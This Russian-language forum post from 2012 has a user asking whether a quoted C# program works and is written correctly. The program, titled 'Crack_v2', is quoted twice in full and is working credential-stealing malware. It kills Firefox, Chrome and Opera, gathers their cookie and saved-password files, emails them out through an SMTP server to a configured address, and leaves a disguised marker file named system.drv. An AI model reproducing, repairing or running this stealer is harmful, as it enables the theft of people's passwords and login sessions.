SnapSh0t
03.02.2012, 01:00
Расскажите как работает эта программа.... и рабочая ли она? и правильно ли написана?
Цитата:
using System;
using System.Collections.Generic;
using System.Text;
using System.Security.Principal;
using System.Web.Mail;
using System.Net.Sockets;
using System.Net;
namespace Crack_v2
{
class Data
{
public static readonly string MailAddressTo = "none"; //адрес на который осуществляется отправка
public static readonly string MailAddressFrom = "noen"; // адрес с которого осуществляется отправка
public static readonly string SMTPServer = "smtp.mail.ru"; // адрес SMTP сервера с которого будут уходить письма
public static readonly string UserName = "none"; // логин учётной записи с которой будут уходить письма
public static readonly string UserPassword = "none"; // пароль учётной записи с которой будут уходить письма
public static readonly string AdditionalInfo = "test";
public static readonly string fileName = @"\system.drv";
public static readonly string FireFox_Coockies = @"\Mozilla\Firefox\Profiles";
public static readonly string Chrome_Coockies = @"\Google\Chrome\User Data\Default\Cookies";
public static readonly string Opera_Coockies = @"\Opera\Opera\cookies4.dat";
public static readonly string Chrome_Pass = @"\Google\Chrome\User Data\Default\Web Data";
public static readonly string Opera_Pass = @"\Opera\Opera\wand.dat";
}
class Program
{
static void GetDisks(System.Collections.ArrayList DList)
{
string[] disks = System.IO.Directory.GetLogicalDrives();
foreach (string disk in disks)
{
System.IO.DriveInfo DiskProperty = new System.IO.DriveInfo(disk);
if (DiskProperty.DriveType.ToString() == "Fixed")
{
DList.Add(disk.ToString());
}
}
}
static void GetDirectiry(string dir, System.Collections.ArrayList DList)
{
string[] directory = System.IO.Directory.GetFileSystemEntries(dir);
foreach (string str in directory)
DList.Add(str);
}
static void GetFiles(string dir, System.Collections.ArrayList FilesList, string F)
{
System.Collections.ArrayList DirList = new System.Collections.ArrayList();
GetDirectiry(dir, DirList);
foreach (string path in DirList)
{
string[] files = System.IO.Directory.GetFiles(path, F);
foreach (string file in files)
{
FilesList.Add(file);
}
}
}
static string GetInfoUser(string sURL)
{
string INFO = "";
WebRequest wrGETURL;
wrGETURL = WebRequest.Create(sURL);
System.IO.Stream objStream;
objStream = wrGETURL.GetResponse().GetResponseStream();
System.IO.StreamReader objReader = new System.IO.StreamReader(objStream);
string sLine = "";
int i = 0;
while (sLine != null)
{
i++;
sLine = objReader.ReadLine();
if (sLine != null)
{
INFO += string.Format("{0}:{1}", i, sLine);
}
}
return INFO;
}
static void CreateFile()
{
string FileName = Data.fileName;
string Path = Environment.GetFolderPath(Environment.SpecialFolde r.ApplicationData).ToString() + FileName;
System.IO.File.Create(Path);
}
static void KillProcess(string ProcName)
{
try
{
System.Diagnostics.Process[] Proc;
Proc = System.Diagnostics.Process.GetProcessesByName(Proc Name);
int i = 0;
while (i != Proc.Length)
{
Proc[i].Kill();
i++;
}
}
catch { }
}
static void _breack(System.Collections.ArrayList List)
{
List.Add("________________");
List.Add("");
}
static void Main(string[] args)
{
try
{
KillProcess("firefox");
KillProcess("chrome");
KillProcess("Opera");
System.Collections.ArrayList InfoList = new System.Collections.ArrayList();
System.Collections.ArrayList DisksList = new System.Collections.ArrayList();
System.Collections.ArrayList FilesList = new System.Collections.ArrayList();
string M = "";
int count = 1;
_breack(InfoList);
WindowsIdentity user = WindowsIdentity.GetCurrent();
string FireFox_Profile = Environment.GetFolderPath(Environment.SpecialFolde r.ApplicationData) + Data.FireFox_Coockies;
string Chrome_Profile = Environment.GetFolderPath(Environment.SpecialFolde r.LocalApplicationData) + Data.Chrome_Coockies;
string Opera_Profile = Environment.GetFolderPath(Environment.SpecialFolde r.ApplicationData) + Data.Opera_Coockies;
GetDisks(DisksList);
GetFiles(FireFox_Profile, FilesList, "*.sqlite");
GetFiles(FireFox_Profile, FilesList, "*.txt");
InfoList.Add("Вложения содержат кукисы:");
MailMessage msg = new MailMessage();
int j = 1;
foreach (string FileName in FilesList)
{
if (System.IO.Path.GetFileName(FileName) == "cookies.sqlite")
{
MailAttachment AttachFireFoxData = new MailAttachment(FileName);
msg.Attachments.Add(AttachFireFoxData);
InfoList.Add(count.ToString() + "." + j.ToString() + ") Куки FireFox (" + System.IO.Path.GetFileName(FileName) + ")");
j++;
}
}
if (System.IO.File.Exists(Chrome_Profile))
{
try
{
MailAttachment AttachChromeData = new MailAttachment(Chrome_Profile);
msg.Attachments.Add(AttachChromeData);
count++;
InfoList.Add(count.ToString() + ") Куки Chrome (" + System.IO.Path.GetFileName(Chrome_Profile) + ")");
}
catch { }
}
if (System.IO.File.Exists(Opera_Profile))
{
MailAttachment AttachOperaData = new MailAttachment(Opera_Profile);
msg.Attachments.Add(AttachOperaData);
count++;
InfoList.Add(count.ToString() + ") Куки Opera (" + System.IO.Path.GetFileName(Opera_Profile) + ")");
}
_breack(InfoList);
count++;
InfoList.Add("Вложения содержат пароли:");
int p = 1;
foreach (string FileName in FilesList)
{
if (System.IO.Path.GetFileName(FileName) == "signons3.txt")
{
MailAttachment AttachFireFoxData = new MailAttachment(FileName);
msg.Attachments.Add(AttachFireFoxData);
InfoList.Add(count.ToString() + "." + p.ToString() + ") Пасы FireFox (" + System.IO.Path.GetFileName(FileName) + ")");
p++;
}
}
string Opera_Pass = Environment.GetFolderPath(Environment.SpecialFolde r.ApplicationData) + Data.Opera_Pass;
if (System.IO.File.Exists(Opera_Pass))
{
MailAttachment AttachOperaData = new MailAttachment(Opera_Pass);
msg.Attachments.Add(AttachOperaData);
count++;
InfoList.Add(count.ToString() + ") Пасы Opera (" + System.IO.Path.GetFileName(Opera_Pass) + ")");
}
string Chrome_Pass = Environment.GetFolderPath(Environment.SpecialFolde r.LocalApplicationData) + Data.Chrome_Pass;
if (System.IO.File.Exists(Chrome_Pass))
{
MailAttachment AttachOperaData = new MailAttachment(Chrome_Pass);
msg.Attachments.Add(AttachOperaData);
count++;
InfoList.Add(count.ToString() + ") Пасы Chrome (" + System.IO.Path.GetFileName(Chrome_Pass) + ")");
}
_breack(InfoList);
// -- отправляем письмо --
string smtpServer = Data.SMTPServer;
string userName = Data.UserName;
string password = Data.UserPassword;
msg.Priority = System.Web.Mail.MailPriority.High;
msg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", 1);
msg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername", userName);
msg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", password);
msg.To = Data.MailAddressTo;
msg.From = Data.MailAddressFrom;
msg.Subject = user.Name.ToString() + " / " + Data.AdditionalInfo;
for (int i = 0; i < InfoList.Count; i++)
{
M = M + Environment.NewLine + InfoList[i].ToString();
}
msg.Body = M;
SmtpMail.SmtpServer = smtpServer;
if (!System.IO.File.Exists(Environment.GetFolderPath( Environment.SpecialFolder.ApplicationData).ToStrin g() + Data.fileName))
{
SmtpMail.Send(msg);
CreateFile();
Console.Clear();
}
}
catch (Exception e)
{
Console.Write(e.Source + Environment.NewLine + e.Message + Environment.NewLine + e.Data);
Console.ReadLine();
}
}
}
}
Цитата:
using System;
using System.Collections.Generic;
using System.Text;
using System.Security.Principal;
using System.Web.Mail;
using System.Net.Sockets;
using System.Net;
namespace Crack_v2
{
class Data
{
public static readonly string MailAddressTo = "none"; //адрес на который осуществляется отправка
public static readonly string MailAddressFrom = "noen"; // адрес с которого осуществляется отправка
public static readonly string SMTPServer = "smtp.mail.ru"; // адрес SMTP сервера с которого будут уходить письма
public static readonly string UserName = "none"; // логин учётной записи с которой будут уходить письма
public static readonly string UserPassword = "none"; // пароль учётной записи с которой будут уходить письма
public static readonly string AdditionalInfo = "test";
public static readonly string fileName = @"\system.drv";
public static readonly string FireFox_Coockies = @"\Mozilla\Firefox\Profiles";
public static readonly string Chrome_Coockies = @"\Google\Chrome\User Data\Default\Cookies";
public static readonly string Opera_Coockies = @"\Opera\Opera\cookies4.dat";
public static readonly string Chrome_Pass = @"\Google\Chrome\User Data\Default\Web Data";
public static readonly string Opera_Pass = @"\Opera\Opera\wand.dat";
}
class Program
{
static void GetDisks(System.Collections.ArrayList DList)
{
string[] disks = System.IO.Directory.GetLogicalDrives();
foreach (string disk in disks)
{
System.IO.DriveInfo DiskProperty = new System.IO.DriveInfo(disk);
if (DiskProperty.DriveType.ToString() == "Fixed")
{
DList.Add(disk.ToString());
}
}
}
static void GetDirectiry(string dir, System.Collections.ArrayList DList)
{
string[] directory = System.IO.Directory.GetFileSystemEntries(dir);
foreach (string str in directory)
DList.Add(str);
}
static void GetFiles(string dir, System.Collections.ArrayList FilesList, string F)
{
System.Collections.ArrayList DirList = new System.Collections.ArrayList();
GetDirectiry(dir, DirList);
foreach (string path in DirList)
{
string[] files = System.IO.Directory.GetFiles(path, F);
foreach (string file in files)
{
FilesList.Add(file);
}
}
}
static string GetInfoUser(string sURL)
{
string INFO = "";
WebRequest wrGETURL;
wrGETURL = WebRequest.Create(sURL);
System.IO.Stream objStream;
objStream = wrGETURL.GetResponse().GetResponseStream();
System.IO.StreamReader objReader = new System.IO.StreamReader(objStream);
string sLine = "";
int i = 0;
while (sLine != null)
{
i++;
sLine = objReader.ReadLine();
if (sLine != null)
{
INFO += string.Format("{0}:{1}", i, sLine);
}
}
return INFO;
}
static void CreateFile()
{
string FileName = Data.fileName;
string Path = Environment.GetFolderPath(Environment.SpecialFolde r.ApplicationData).ToString() + FileName;
System.IO.File.Create(Path);
}
static void KillProcess(string ProcName)
{
try
{
System.Diagnostics.Process[] Proc;
Proc = System.Diagnostics.Process.GetProcessesByName(Proc Name);
int i = 0;
while (i != Proc.Length)
{
Proc[i].Kill();
i++;
}
}
catch { }
}
static void _breack(System.Collections.ArrayList List)
{
List.Add("________________");
List.Add("");
}
static void Main(string[] args)
{
try
{
KillProcess("firefox");
KillProcess("chrome");
KillProcess("Opera");
System.Collections.ArrayList InfoList = new System.Collections.ArrayList();
System.Collections.ArrayList DisksList = new System.Collections.ArrayList();
System.Collections.ArrayList FilesList = new System.Collections.ArrayList();
string M = "";
int count = 1;
_breack(InfoList);
WindowsIdentity user = WindowsIdentity.GetCurrent();
string FireFox_Profile = Environment.GetFolderPath(Environment.SpecialFolde r.ApplicationData) + Data.FireFox_Coockies;
string Chrome_Profile = Environment.GetFolderPath(Environment.SpecialFolde r.LocalApplicationData) + Data.Chrome_Coockies;
string Opera_Profile = Environment.GetFolderPath(Environment.SpecialFolde r.ApplicationData) + Data.Opera_Coockies;
GetDisks(DisksList);
GetFiles(FireFox_Profile, FilesList, "*.sqlite");
GetFiles(FireFox_Profile, FilesList, "*.txt");
InfoList.Add("Вложения содержат кукисы:");
MailMessage msg = new MailMessage();
int j = 1;
foreach (string FileName in FilesList)
{
if (System.IO.Path.GetFileName(FileName) == "cookies.sqlite")
{
MailAttachment AttachFireFoxData = new MailAttachment(FileName);
msg.Attachments.Add(AttachFireFoxData);
InfoList.Add(count.ToString() + "." + j.ToString() + ") Куки FireFox (" + System.IO.Path.GetFileName(FileName) + ")");
j++;
}
}
if (System.IO.File.Exists(Chrome_Profile))
{
try
{
MailAttachment AttachChromeData = new MailAttachment(Chrome_Profile);
msg.Attachments.Add(AttachChromeData);
count++;
InfoList.Add(count.ToString() + ") Куки Chrome (" + System.IO.Path.GetFileName(Chrome_Profile) + ")");
}
catch { }
}
if (System.IO.File.Exists(Opera_Profile))
{
MailAttachment AttachOperaData = new MailAttachment(Opera_Profile);
msg.Attachments.Add(AttachOperaData);
count++;
InfoList.Add(count.ToString() + ") Куки Opera (" + System.IO.Path.GetFileName(Opera_Profile) + ")");
}
_breack(InfoList);
count++;
InfoList.Add("Вложения содержат пароли:");
int p = 1;
foreach (string FileName in FilesList)
{
if (System.IO.Path.GetFileName(FileName) == "signons3.txt")
{
MailAttachment AttachFireFoxData = new MailAttachment(FileName);
msg.Attachments.Add(AttachFireFoxData);
InfoList.Add(count.ToString() + "." + p.ToString() + ") Пасы FireFox (" + System.IO.Path.GetFileName(FileName) + ")");
p++;
}
}
string Opera_Pass = Environment.GetFolderPath(Environment.SpecialFolde r.ApplicationData) + Data.Opera_Pass;
if (System.IO.File.Exists(Opera_Pass))
{
MailAttachment AttachOperaData = new MailAttachment(Opera_Pass);
msg.Attachments.Add(AttachOperaData);
count++;
InfoList.Add(count.ToString() + ") Пасы Opera (" + System.IO.Path.GetFileName(Opera_Pass) + ")");
}
string Chrome_Pass = Environment.GetFolderPath(Environment.SpecialFolde r.LocalApplicationData) + Data.Chrome_Pass;
if (System.IO.File.Exists(Chrome_Pass))
{
MailAttachment AttachOperaData = new MailAttachment(Chrome_Pass);
msg.Attachments.Add(AttachOperaData);
count++;
InfoList.Add(count.ToString() + ") Пасы Chrome (" + System.IO.Path.GetFileName(Chrome_Pass) + ")");
}
_breack(InfoList);
// -- отправляем письмо --
string smtpServer = Data.SMTPServer;
string userName = Data.UserName;
string password = Data.UserPassword;
msg.Priority = System.Web.Mail.MailPriority.High;
msg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", 1);
msg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername", userName);
msg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", password);
msg.To = Data.MailAddressTo;
msg.From = Data.MailAddressFrom;
msg.Subject = user.Name.ToString() + " / " + Data.AdditionalInfo;
for (int i = 0; i < InfoList.Count; i++)
{
M = M + Environment.NewLine + InfoList[i].ToString();
}
msg.Body = M;
SmtpMail.SmtpServer = smtpServer;
if (!System.IO.File.Exists(Environment.GetFolderPath( Environment.SpecialFolder.ApplicationData).ToStrin g() + Data.fileName))
{
SmtpMail.Send(msg);
CreateFile();
Console.Clear();
}
}
catch (Exception e)
{
Console.Write(e.Source + Environment.NewLine + e.Message + Environment.NewLine + e.Data);
Console.ReadLine();
}
}
}
}